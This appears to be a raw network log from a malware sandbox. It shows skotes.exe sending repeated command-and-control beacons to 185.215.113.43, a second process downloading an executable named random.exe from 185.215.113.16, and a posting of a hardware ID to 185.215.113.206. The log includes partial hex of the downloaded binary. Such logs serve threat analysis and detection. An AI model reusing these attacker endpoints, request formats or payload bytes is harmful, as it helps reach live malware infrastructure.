Nov 19, 2024 22:07:52.897773981 CET	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 22:07:52.897814989 CET	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 22:07:52.897852898 CET	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 22:07:52.897871017 CET	1289	IN	Data Raw: c4 bf bc fc ff f0 5f 7d 5f 99 c2 51 0b d7 d6 75 9e 89 7f 36 3d 28 8c f4 83 91 2a 97 2e 72 8e f3 fb 16 f3 cc b9 21 6b 2a 6a fd 0c 08 c4 84 bc 18 5a 26 b4 0b ec fc 40 6c e2 86 6c e8 1e 72 bb 37 4f 81 9c ab 60 00 b0 e6 83 7f 10 f2 9c 39 a3 ce b5 fa Data Ascii: _}_Qu6=(.r!kjZ&@llr7O`9u~Nr~*m<~@H\\|17d0A`3jdh}Kr$?,2JSXiL2]Qwk)ugHd9$k2x+h(Fkyx.ueGvtsXz
Nov 19, 2024 22:07:52.897932053 CET	1289	IN	Data Raw: eb dc f8 f4 ba 2c 2c 7b 2b 55 4e 21 d2 d2 37 b3 b5 cd 3e 9c 2a e5 7e 1f bd 97 1c f2 c7 cb d8 7b f1 87 2a a4 bb 6e c9 22 4b a2 20 04 fc cc 55 e4 ac fd 03 2f 5b cb bf 6b f2 83 04 2a 10 cd 9e 69 aa d0 71 2a b3 b7 ab 1e 3c 60 2f 10 36 2e 0a 72 bb de Data Ascii: ,,{+UN!7>~{n"K U/[kiq<`/6.r(f$+F&zclA)~P,Y[s#)=FCX)Z9q..[^jp4#,\|3=S3/2.Y;:(-1MIl,J=6
Nov 19, 2024 22:07:52.897950888 CET	1289	IN	Data Raw: ab 4b 95 f3 9c 88 45 7e f5 81 22 7d b0 7d 11 74 c5 28 f1 e3 9f 74 24 ae b7 88 15 fb 4f ff ca fb c0 71 34 a1 5a f3 f9 da 74 79 00 11 9e e8 04 b0 20 fd f1 e1 93 54 4d 8d 60 1d 03 4e 77 f9 e0 85 cd 3a 50 b5 6d 2c 04 80 d3 5c a2 cf d1 b7 6f 8c 5b 17 Data Ascii: KE~"}}t(t$Oq4Zty TM`Nw:Pm,\o[,}1YIjGtkFWA=_cQKZ31mD)\KPO:WT!i!;J&S/BsKawU]=lH>m
Nov 19, 2024 22:07:53.109826088 CET	1289	IN	Data Raw: ed 61 79 80 ed 61 79 80 ed 61 79 80 ed 61 79 80 ed 61 79 80 ed 61 79 80 ed 61 79 80 ed 61 79 80 ed 61 79 80 ed 61 79 80 ed 61 79 80 ed 61 79 80 ed 61 79 80 ed 61 79 80 ed 61 79 80 ed 61 79 80 ed 61 79 80 ed 61 79 80 ed 61 79 80 ed 61 79 80 ed 61 Data Ascii: ayayayayayayayayayayayayayayayayayayayayayayayayayayayayayayayayayayayayayayayayayayayayay P8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	50106	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:07:53.541899920 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 22:07:53.749398947 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:07:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	50136	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:07:55.499540091 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 19, 2024 22:07:55.711534977 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:07:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	50148	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:07:57.538979053 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 22:07:57.744771957 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:07:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	50152	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:07:59.639799118 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 19, 2024 22:07:59.855575085 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:07:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	50158	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:08:01.697396040 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 22:08:01.904921055 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:08:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	50161	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:08:03.639128923 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 19, 2024 22:08:03.853812933 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:08:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	50162	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:08:05.708103895 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 22:08:05.914577961 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:08:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	50165	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:08:07.639178038 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 19, 2024 22:08:07.851223946 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:08:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	50166	185.215.113.16	80	4124	C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:08:07.764708996 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 19, 2024 22:08:07.972022057 CET	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:08:07 GMT Content-Type: application/octet-stream Content-Length: 1903616 Last-Modified: Tue, 19 Nov 2024 21:02:00 GMT Connection: keep-alive ETag: "673cfcc8-1d0c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 b0 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfK@KV@WkHdKK @.rsrcH@.idata @ +@luuuoucb1@eogwbmeiK@.taggant0K"@ [TRUNCATED]
Nov 19, 2024 22:08:07.972065926 CET	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 22:08:07.972105026 CET	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 22:08:07.972145081 CET	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 22:08:07.972183943 CET	1289	IN	Data Raw: c6 1f 82 6b 17 3b bd e2 51 cf a1 a8 86 ba 8d 76 51 ec e6 2f d9 33 a2 9a 2d 3f 7f 99 89 72 93 2b bf 3b a2 f6 48 77 b2 99 46 ab fc fe c2 f5 e1 c6 e1 3d 70 00 3a 88 25 ff 49 75 11 ec 99 cd e5 96 aa 49 e5 57 93 3b bc 89 83 a8 8d 16 52 f7 7b 16 a7 23 Data Ascii: k;QvQ/3-?r+;HwF=p:%IuIW;R{#W3\|c0L[:(C:sF[2Q#>nNHkH"%uIIe:HFv[Ho~;8lxG73J9?mO&+;Zi[QvI)Y
Nov 19, 2024 22:08:07.972223043 CET	1289	IN	Data Raw: 3a 82 96 4e 79 40 9a b9 62 e7 27 4d 75 32 cf 21 4b d1 fc 0a 95 31 47 40 1c 42 6f 09 ab 33 75 4b a3 ff 22 61 75 68 25 53 24 30 fc 69 9f e3 51 58 2e 88 ca 74 25 eb 85 99 26 8a fd 19 9e 5f c0 18 24 47 d7 8a 5b 77 99 8c a3 cc c8 49 6b ba c9 d9 87 8b Data Ascii: :Ny@b'Mu2!K1G@Bo3uK"auh%S$0iQX.t%&_$G[wIk5F5GJL_;^hsqslzuGFUoW?"Q\fh&a3=9UzFa`3d=DwK~$zEDB4Z.F"<D%Flpr^q
Nov 19, 2024 22:08:07.972260952 CET	1289	IN	Data Raw: 5d ce 14 f3 45 4b d1 f8 9e 16 9c 62 3c 28 8a ee 6c 26 8d 98 81 7c c1 83 2a 99 4f 2b 64 8e c6 44 ac 92 b7 11 78 d5 c9 95 23 ab f1 9e d8 bc 67 c2 7c 7f 2f af ca 73 41 83 85 cf 71 0f 33 b4 b6 8b 9a 83 61 da 54 b3 02 87 cc e6 8c 2a ad d4 27 5b 8d 66 Data Ascii: ]EKb<(l&\|O+dDx#g\|/sAq3aT'[fS,DW,;HN%9 cDE,x{%orpXfM[O[$Nyb/eUY'\|caG5$Pw)F_,h$cca'hIGN:
Nov 19, 2024 22:08:07.972316980 CET	1289	IN	Data Raw: 5e 3e 8e c2 a6 7e 03 2e ae 99 7a c5 79 06 25 91 73 46 aa e0 36 e2 55 8c 17 6a 34 44 9d 64 13 88 eb 38 de ea 8d 3b 3a 67 b4 e1 c9 d5 e4 2c 75 15 aa b5 f7 c1 69 0d 2a 9e 61 19 a9 a4 b7 ad 83 93 f2 da 9a df 9d 7c 3f 31 1d e9 11 dd de bc 41 fc fc 4a Data Ascii: ^>~.zy%sF6Uj4Dd8;:g,ui*a\|?1AJtVXr/H ~c--{Oc,_JuQxa`38T1Clb%z-cRTu]%XZwwdyN1QvwjSpF-J\!IJ$s
Nov 19, 2024 22:08:07.972356081 CET	1289	IN	Data Raw: 4a 22 22 19 db 24 1e 3d 61 3b 84 6d 23 fa fa df 3d ca 18 b9 9a e3 b9 cb a8 84 5a 62 e3 7e b2 7d 5c 60 e9 72 2d f5 84 99 12 5a 52 3d 7a f6 42 f0 51 69 7f c3 60 f5 b2 7b ff 29 80 ed 7a fa ad d1 cc a8 eb fd 1c e6 9b e5 a2 7f 58 38 f9 5f c5 d6 84 c6 Data Ascii: J""$=a;m#=Zb~}\`r-ZR=zBQi`{)zX8__)Teo%ct^cGGzOZd)i,;!"J9Ed:_?WTRsQ7feURR-'3UFC!:FNjX
Nov 19, 2024 22:08:07.972398996 CET	1289	IN	Data Raw: a6 62 7d c1 90 6f c7 b9 a5 e4 8e d3 bb c1 8e 93 1a be 83 14 7c e9 4a ce 09 83 6c cb b1 a1 b5 05 ab 66 a2 52 93 93 19 03 92 c3 d7 25 73 84 fc d5 8a 4e 10 99 a0 ed 84 83 5c 2d da 81 8b 85 ef 43 90 68 72 a3 3c 88 09 52 d3 cd fe bc 24 e8 50 79 4f 75 Data Ascii: b}o\|JlfR%sN\-Chr<R$PyOu>("";7Q:{WD+7$DC8Z]Vm ,EcR!ckV@.:7Cw,Nf[DPY{\IW_(;Wg:Y-m1m
Nov 19, 2024 22:08:08.179544926 CET	1289	IN	Data Raw: f3 40 08 e1 fd ae 26 3d cd 25 98 06 a1 d2 61 3b 28 97 7e 4c fb ee 18 44 58 b0 f4 96 61 7f ec 73 12 45 50 d5 fa 5e 81 7c 63 bc eb d9 01 94 2e 16 d1 46 b0 e8 4f d4 d8 77 5b 07 7a 64 2b 6d 53 93 a9 7e 66 d7 2c 45 49 87 a0 c9 79 b9 27 05 bb 43 0a 62 Data Ascii: @&=%a;(~LDXasEP^\|c.FOw[zd+mS~f,EIy'CbhJ[@qU~w$8awIUAL;E$":Z}Ha6g.Fgoh[f3Bpp&$hVy{[XSj_Hn;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	50168	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:08:09.821821928 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 22:08:10.027390957 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:08:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	50188	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:08:12.004262924 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 19, 2024 22:08:12.213499069 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:08:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	50189	185.215.113.206	80	6932	C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:08:12.504625082 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 19, 2024 22:08:12.717029095 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:08:12 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 19, 2024 22:08:12.719619036 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBAAFIDGDAAAAAAAAKEB Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 42 41 41 46 49 44 47 44 41 41 41 41 41 41 41 41 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 44 42 43 46 38 36 38 36 46 32 37 32 30 32 39 37 34 31 31 31 39 0d 0a 2d 2d 2d 2d 2d 2d 44 42 41 41 46 49 44 47 44 41 41 41 41 41 41 41 41 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 42 41 41 46 49 44 47 44 41 41 41 41 41 41 41 41 4b 45 42 2d 2d 0d 0a Data Ascii: ------DBAAFIDGDAAAAAAAAKEBContent-Disposition: form-data; name="hwid"FDBCF8686F272029741119------DBAAFIDGDAAAAAAAAKEBContent-Disposition: form-data; name="build"mars------DBAAFIDGDAAAAAAAAKEB--
Nov 19, 2024 22:08:12.934961081 CET	210	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:08:12 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	50190	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:08:14.056911945 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 22:08:14.264717102 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:08:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	50192	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:08:15.995707035 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
